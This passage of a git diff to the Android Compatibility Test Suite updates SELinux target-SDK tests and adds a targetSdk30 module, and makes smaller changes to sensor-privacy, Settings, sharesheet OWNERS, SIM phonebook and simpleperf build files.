     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
index 1ed366e..791eb82 100644
--- a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -79,10 +79,14 @@
     }
 
     public void testNoNetlinkRouteGetlink() throws IOException {
-        checkNetlinkRouteGetlink(false);
+        noNetlinkRouteGetlink();
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
+    }
+
+    public void testNoNetlinkRouteGetneigh() throws IOException {
+        checkNetlinkRouteGetneigh(false);
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index a784464a..c63a55a 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,18 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
+    }
+
+    public void testNoNetlinkRouteGetlink() throws IOException {
+        noNetlinkRouteGetlink();
+    }
+
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
+    }
+
+    public void testNetlinkRouteGetneigh() throws IOException {
+        checkNetlinkRouteGetneigh(true);
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
index 880ae1a..daf8c4a 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,18 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
+    }
+
+    public void testNoNetlinkRouteGetlink() throws IOException {
+        noNetlinkRouteGetlink();
+    }
+
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
+    }
+
+    public void testNetlinkRouteGetneigh() throws IOException {
+        checkNetlinkRouteGetneigh(true);
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
index 1f1eaaa..077f96a 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
@@ -42,13 +42,16 @@
             checkDex2oatAccess(false);
         }
     }
-
-    public void testNetlinkRouteGetlinkSucceeds() throws IOException {
-        checkNetlinkRouteGetlink(true);
+    public void testNoNetlinkRouteGetlink() throws IOException {
+        noNetlinkRouteGetlink();
     }
 
-    public void testNetlinkRouteBindSucceeds() throws IOException {
-        checkNetlinkRouteBind(true);
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
+    }
+
+    public void testNetlinkRouteGetneigh() throws IOException {
+        checkNetlinkRouteGetneigh(true);
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -86,6 +89,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk30/Android.bp b/tests/tests/selinux/selinuxTargetSdk30/Android.bp
new file mode 100644
index 0000000..db324dd
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk30/Android.bp
@@ -0,0 +1,54 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSelinuxTargetSdk30TestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    jni_libs: [
+        "libbase",
+        "libc++",
+        "libcrypto",
+        "libcts_jni",
+        "libctsselinux_jni",
+        "libnativehelper",
+        "libnativehelper_compat_libc++",
+        "libpackagelistparser",
+        "libpcre2",
+        "libselinux",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/selinux/selinuxTargetSdk30/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk30/AndroidManifest.xml
new file mode 100644
index 0000000..9b40d00
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk30/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.selinuxtargetsdk30.cts">
+
+     <!-- This app tests that apps with targetSdkValue==30 are placed in the
+         untrusted_app_30 selinux domain -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30" />
+
+    <!-- INTERNET permission allows apps with targetSdkValue==30 to list the
+         device's network interfaces -->
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.selinuxtargetsdk30.cts"
+                     android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/selinux/selinuxTargetSdk30/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk30/AndroidTest.xml
new file mode 100644
index 0000000..c59626e
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk30/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission Selinux test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSelinuxTargetSdk30TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.selinuxtargetsdk30.cts" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/tests/tests/selinux/selinuxTargetSdk30/common b/tests/tests/selinux/selinuxTargetSdk30/common
new file mode 120000
index 0000000..581eb17
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk30/common
@@ -0,0 +1 @@
+../common/src
\ No newline at end of file
diff --git a/tests/tests/selinux/selinuxTargetSdk30/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk30/src/android/security/SELinuxTargetSdkTest.java
new file mode 100644
index 0000000..279f9e6
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk30/src/android/security/SELinuxTargetSdkTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security;
+
+import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.PropertyUtil;
+import java.io.IOException;
+
+
+/**
+ * Verify the selinux domain for apps running with current targetSdkVersion*/
+
+public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
+{
+    /**
+
+
+     * Verify that net.dns properties may not be read
+     */
+
+    public void testNoDns() throws IOException {
+        noDns();
+    }
+
+    public void testNoNetlinkRouteGetlink() throws IOException {
+        noNetlinkRouteGetlink();
+    }
+
+
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
+    }
+
+    public void testNetlinkRouteGetneigh() throws IOException {
+        checkNetlinkRouteGetneigh(true);
+    }
+
+    public void testNoHardwareAddress() throws Exception {
+        checkNetworkInterfaceHardwareAddress_returnsNull();
+    }
+
+    public void testCanNotExecuteFromHomeDir() throws Exception {
+        assertFalse(canExecuteFromHomeDir());
+    }
+
+    /**
+     * Verify that selinux context is the expected domain based on
+     * targetSdkVersion = 30, 31
+     */
+    public void testAppDomainContext() throws IOException {
+        String context = "u:r:untrusted_app_30:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Untrusted apps with targetSdkVersion 30 " +
+            "must run in the untrusted_app_30 selinux domain and use the levelFrom=all " +
+            "selector in SELinux seapp_contexts which adds four category types " +
+            "to the app's selinux context.\n" +
+            "Example expected value: u:r:untrusted_app_30:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDomainContext(context, msg);
+    }
+
+    /**
+     * Verify that selinux context is the expected type based on
+     * targetSdkVersion = 30, 31
+     */
+    public void testAppDataContext() throws Exception {
+        String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Untrusted apps with targetSdkVersion 30 " +
+            "must use the app_data_file selinux context and use the levelFrom=all " +
+            "selector in SELinux seapp_contexts which adds four category types " +
+            "to the app_data_file context.\n" +
+            "Example expected value: u:object_r:app_data_file:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDataContext(context, msg);
+    }
+
+    public void testDex2oat() throws Exception {
+        /*
+         * Apps with a vendor image older than Q may access the dex2oat executable through
+         * selinux policy on the vendor partition because the permission was granted in public
+         * policy for appdomain.
+         */
+        if (PropertyUtil.isVendorApiLevelNewerThan(28)) {
+            checkDex2oatAccess(false);
+        }
+    }}
+
+
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index 05fad31..3e01ec1 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -34,11 +34,19 @@
     }
 
     public void testNoNetlinkRouteGetlink() throws IOException {
-        checkNetlinkRouteGetlink(false);
+        noNetlinkRouteGetlink();
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
+    }
+
+    public void testNoNetlinkRouteGetneigh() throws IOException {
+        checkNetlinkRouteGetneigh(false);
+    }
+
+    public void testNoHardwareAddress() throws Exception {
+        checkNetworkInterfaceHardwareAddress_returnsNull();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -51,10 +59,11 @@
      */
     public void testAppDomainContext() throws IOException {
         String context = "u:r:untrusted_app:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion 29 and above " +
+        String msg = "Untrusted apps with targetSdkVersion 32 and above " +
             "must run in the untrusted_app selinux domain and use the levelFrom=all " +
             "selector in SELinux seapp_contexts which adds four category types " +
-            "to the app's selinux context.\n" +
+            "to the app's selinux context. This test is targeting API level " +
+            getContext().getApplicationInfo().targetSdkVersion + ".\n" +
             "Example expected value: u:r:untrusted_app:s0:c89,c256,c512,c768\n" +
             "Actual value: ";
         appDomainContext(context, msg);
diff --git a/tests/tests/sensorprivacy/Android.bp b/tests/tests/sensorprivacy/Android.bp
index 608f445..8d63414 100644
--- a/tests/tests/sensorprivacy/Android.bp
+++ b/tests/tests/sensorprivacy/Android.bp
@@ -45,4 +45,9 @@
         "android.test.runner",
         "android.test.base",
     ],
+    data: [
+        ":CtsUseMicOrCameraAndOverlayForSensorPrivacy",
+        ":CtsUseMicOrCameraForSensorPrivacy",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/sensorprivacy/test-apps/utils/Android.bp b/tests/tests/sensorprivacy/test-apps/utils/Android.bp
index 6901865..9076d22 100644
--- a/tests/tests/sensorprivacy/test-apps/utils/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/utils/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_library {
     name: "SensorPrivacyTestAppUtils",
 
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
index ad24644..ea0e789 100644
--- a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -28,7 +28,6 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.provider.Settings;
-import android.util.FeatureFlagUtils;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -58,13 +57,7 @@
         InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
             @Override
             public void run() {
-                boolean isFlagEnabled =
-                    FeatureFlagUtils.isEnabled(InstrumentationRegistry.getInstrumentation()
-                        .getTargetContext(), "settings_support_large_screen");
-
-                boolean isSplitSupported = SplitController.getInstance().isSplitSupported();
-
-                mIsSplitSupported = isFlagEnabled && isSplitSupported;
+                mIsSplitSupported = SplitController.getInstance().isSplitSupported();
             }
         });
         mDeepLinkIntentResolveInfo = InstrumentationRegistry.getInstrumentation().getContext()
diff --git a/tests/tests/settings/src/android/settings/cts/TetherProvisioningCarrierDialogActivityTest.java b/tests/tests/settings/src/android/settings/cts/TetherProvisioningCarrierDialogActivityTest.java
new file mode 100644
index 0000000..51664ea
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/TetherProvisioningCarrierDialogActivityTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests to ensure the Activity to handle
+ * {@link Settings#ACTION_TETHER_PROVISIONING_CARRIER_UI}
+ */
+@RunWith(AndroidJUnit4.class)
+public class TetherProvisioningCarrierDialogActivityTest {
+    @Test
+    public void testTetheringProvisioningCarrierUiExisted() throws RemoteException {
+        final Intent intent = new Intent(Settings.ACTION_TETHER_UNSUPPORTED_CARRIER_UI);
+        final ResolveInfo ri = InstrumentationRegistry.getTargetContext()
+                .getPackageManager().resolveActivity(
+                        intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertTrue(ri != null);
+    }
+}
diff --git a/tests/tests/sharesheet/OWNERS b/tests/tests/sharesheet/OWNERS
index 8bea7af..00c4b94 100644
--- a/tests/tests/sharesheet/OWNERS
+++ b/tests/tests/sharesheet/OWNERS
@@ -1,6 +1,7 @@
-# Bug component: 324112
+# Bug component: 78010
+# Internal-only bug component: 324112
+joshtrask@google.com
+mrenouf@google.com
+mrcasey@google.com
 digman@google.com
-asc@google.com
-dsandler@google.com
-mpietal@google.com
-arangelov@google.com
\ No newline at end of file
+file:platform/frameworks/base:/packages/SystemUI/OWNERS
\ No newline at end of file
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
index e02e6a2..1bbf1dd 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
@@ -196,12 +196,17 @@
                 result, oneOf(
                         TelephonyManager.SET_SIM_POWER_STATE_ALREADY_IN_STATE,
                         TelephonyManager.SET_SIM_POWER_STATE_SUCCESS));
+        Thread.sleep(DEFAULT_TIMEOUT);
         int simState = SystemUtil.runWithShellPermissionIdentity(() ->
                         telephonyManager.getSimState(slotIndex),
                 Manifest.permission.READ_PHONE_STATE);
         // This doesn't work on Cuttlefish so confirm the SIM was actually powered off.
-        assumeThat(simState, Matchers.not(oneOf(
-                TelephonyManager.SIM_STATE_PRESENT, TelephonyManager.SIM_STATE_READY)));
+        if(powerState == 1) {
+            assumeThat(simState, Matchers.is(TelephonyManager.SIM_STATE_READY));
+        } else {
+            assumeThat(simState, Matchers.is(oneOf(TelephonyManager.SIM_STATE_ABSENT,
+                TelephonyManager.SIM_STATE_NOT_READY)));
+        }
     }
 
     private static class RecordingContentObserver extends ContentObserver {
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
index 9e0abfb..3d645b6 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
@@ -17,22 +17,18 @@
 package android.provider.cts.simphonebook;
 
 import static android.provider.SimPhonebookContract.ElementaryFiles.EF_ADN;
-import static android.provider.SimPhonebookContract.ElementaryFiles.EF_FDN;
-import static android.provider.SimPhonebookContract.ElementaryFiles.EF_SDN;
 
 import static com.android.internal.telephony.testing.CursorSubject.assertThat;
 import static com.android.internal.telephony.testing.TelephonyAssertions.assertThrows;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.Manifest;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
-import android.os.Bundle;
 import android.platform.test.annotations.LargeTest;
 import android.provider.SimPhonebookContract.ElementaryFiles;
 import android.provider.SimPhonebookContract.SimRecords;
@@ -41,16 +37,12 @@
 import androidx.annotation.NonNull;
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.SystemUtil;
 
 import com.google.common.collect.ImmutableList;
 
-import org.junit.Assume;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
@@ -64,28 +56,13 @@
 /** Tests of {@link SimRecords}. */
 @RunWith(AndroidJUnit4.class)
 public class SimPhonebookContract_SimRecordsTest {
-    /**
-     * The pin2 to use for modifying FDN data.
-     *
-     * <p>This can be configured by passing a value for the --instrumentation-arg option with key
-     * "sim-pin2"
-     */
-    private String mPin2 = "1234";
 
     private final SimsCleanupRule mAdnCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_ADN);
-    private final SimsCleanupRule mFdnCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_FDN);
     @Rule
     public final TestRule mRule = RuleChain
             .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
             .around(new SimPhonebookRequirementsRule())
             .around(mAdnCleanupRule);
-    /**
-     * The number of records in the SDN file for the SIM card.
-     *
-     * <p>This can be configured by passing a value for the --instrumentation-arg option with key
-     * "sim-sdn-count"
-     */
-    private int mSdnCount = 0;
 
     private Context mContext;
     private ContentResolver mResolver;
@@ -97,15 +74,6 @@
         mContext = ApplicationProvider.getApplicationContext();
         mResolver = mContext.getContentResolver();
         mDefaultSubscriptionId = new RemovableSims(mContext).getDefaultSubscriptionId();
-
-        Bundle args = InstrumentationRegistry.getArguments();
-        if (args.containsKey("sim-pin2")) {
-            mPin2 = args.getString("sim-pin2");
-            mFdnCleanupRule.setPin2(mPin2);
-        }
-        if (args.containsKey("sim-sdn-count")) {
-            mSdnCount = Integer.parseInt(args.getString("sim-sdn-count"));
-        }
     }
 
     @Test
@@ -156,30 +124,6 @@
     }
 
     @Test
-    public void queryFdn_noFdnRecords_returnsEmptyCursor() {
-        try (Cursor cursor =
-                     query(ElementaryFiles.getItemUri(mDefaultSubscriptionId, EF_FDN), null)) {
-            Assume.assumeTrue("SIM does not support FDN", cursor.moveToFirst());
-        }
-        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_FDN),
-                null)) {
-            assertThat(cursor).hasCount(0);
-        }
-    }
-
-    @Ignore
-    @Test
-    public void querySdn_returnsCursorWithSdnRecords() {
-        // Create an ADN contact to validate that this query at least returns something different
-        // than the ADN.
-        insertAdn(mDefaultSubscriptionId, "Adn", "5550101");
-        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_SDN),
-                null)) {
-            assertThat(cursor).hasCount(mSdnCount);
-        }
-    }
-
-    @Test
     public void queryAdn_nonEmpty_returnsAdnRecordsFromSim() {
         insertAdn(mDefaultSubscriptionId, "Name1", "5550101");
         insertAdn(mDefaultSubscriptionId, "Name2", "5550102");
@@ -206,34 +150,6 @@
         }
     }
 
-    @Ignore
-    @Test
-    public void queryFdn_nonEmpty_returnsFdnRecordsFromSim() throws Exception {
-        insertFdn(mDefaultSubscriptionId, "Name1", "5550101");
-        insertFdn(mDefaultSubscriptionId, "Name2", "5550102");
-        insertFdn(mDefaultSubscriptionId, "Name3", "5550103");
-
-        String[] projection = {
-                SimRecords.SUBSCRIPTION_ID,
-                SimRecords.ELEMENTARY_FILE_TYPE,
-                SimRecords.NAME,
-                SimRecords.PHONE_NUMBER
-        };
-        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_FDN),
-                projection)) {
-            assertThat(cursor).hasCount(3);
-            assertThat(cursor).atRow(0)
-                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_FDN, "Name1",
-                            "5550101");
-            assertThat(cursor).atRow(1)
-                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_FDN, "Name2",
-                            "5550102");
-            assertThat(cursor).atRow(2)
-                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_FDN, "Name3",
-                            "5550103");
-        }
-    }
-
     @Test
     public void query_itemUri_returnsCursorWithCorrectItem() {
         Uri insert1 = insertAdn(mDefaultSubscriptionId, "Name1", "18005550101");
@@ -716,16 +632,4 @@
         values.put(SimRecords.PHONE_NUMBER, phoneNumber);
         return mResolver.insert(SimRecords.getContentUri(subscriptionId, EF_ADN), values);
     }
-
-    private Uri insertFdn(int subscriptionId, String name, String phoneNumber) throws Exception {
-        Bundle extras = new Bundle();
-        extras.putString(SimRecords.QUERY_ARG_PIN2, mPin2);
-        ContentValues values = new ContentValues();
-        values.put(SimRecords.NAME, name);
-        values.put(SimRecords.PHONE_NUMBER, phoneNumber);
-        return SystemUtil.callWithShellPermissionIdentity(
-                () -> mResolver.insert(SimRecords.getContentUri(subscriptionId, EF_FDN), values,
-                        extras),
-                Manifest.permission.MODIFY_PHONE_STATE);
-    }
 }
diff --git a/tests/tests/simpleperf/Android.bp b/tests/tests/simpleperf/Android.bp
new file mode 100644
index 0000000..fb405bf
--- /dev/null
+++ b/tests/tests/simpleperf/Android.bp
@@ -0,0 +1,47 @@
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsSimpleperfTestCases",
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    whole_static_libs: ["libsimpleperf_cts_test"],
+    static_libs: [
+        "libsimpleperf_etm_decoder",
+        "libunwindstack",
+        "libdexfile_static",
+        "libziparchive",
+        "libz",
+        "libgtest",
+        "libbase",
+        "libcutils",
+        "liblog",
+        "libprocinfo",
+        "libutils",
+        "liblzma",
+        "libLLVMObject",
+        "libLLVMBitReader",
+        "libLLVMMC",
+        "libLLVMMCParser",
+        "libLLVMCore",
+        "libLLVMSupport",
+        "libprotobuf-cpp-lite",
+        "libevent",
+        "libopencsd_decoder",
+        "libc++fs",
+    ],
+    data: [":system-extras-simpleperf-testdata"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
deleted file mode 100644
index 23e9245..0000000
--- a/tests/tests/simpleperf/Android.mk
+++ /dev/null
@@ -1,60 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-simpleperf_src_path := system/extras/simpleperf
-
-LLVM_ROOT_PATH := external/llvm
-include $(LLVM_ROOT_PATH)/llvm.mk
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsSimpleperfTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_WHOLE_STATIC_LIBRARIES = \
-  libsimpleperf_cts_test \
-
-LOCAL_STATIC_LIBRARIES += \
-  libsimpleperf_etm_decoder \
-  libbacktrace \
-  libunwindstack \
-  libdexfile_static \
-  libziparchive \
-  libz \
-  libgtest \
-  libbase \
-  libcutils \
-  liblog \
-  libprocinfo \
-  libutils \
-  liblzma \
-  libLLVMObject \
-  libLLVMBitReader \
-  libLLVMMC \
-  libLLVMMCParser \
-  libLLVMCore \
-  libLLVMSupport \
-  libprotobuf-cpp-lite \
-  libevent \
-  libopencsd_decoder \
-  libc++fs \
-
-simpleperf_testdata_files := $(shell cd $(simpleperf_src_path); find testdata -type f)
-
-LOCAL_COMPATIBILITY_SUPPORT_FILES := \
-  $(foreach file, $(simpleperf_testdata_files), $(simpleperf_src_path)/$(file):CtsSimpleperfTestCases_$(file))
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CTS_TEST_PACKAGE := android.simpleperf
-include $(LLVM_DEVICE_BUILD_MK)
-include $(BUILD_CTS_EXECUTABLE)
-
-simpleperf_src_path :=
-simpleperf_testdata_files :=
-
-# Build the test APKs using their own makefiles
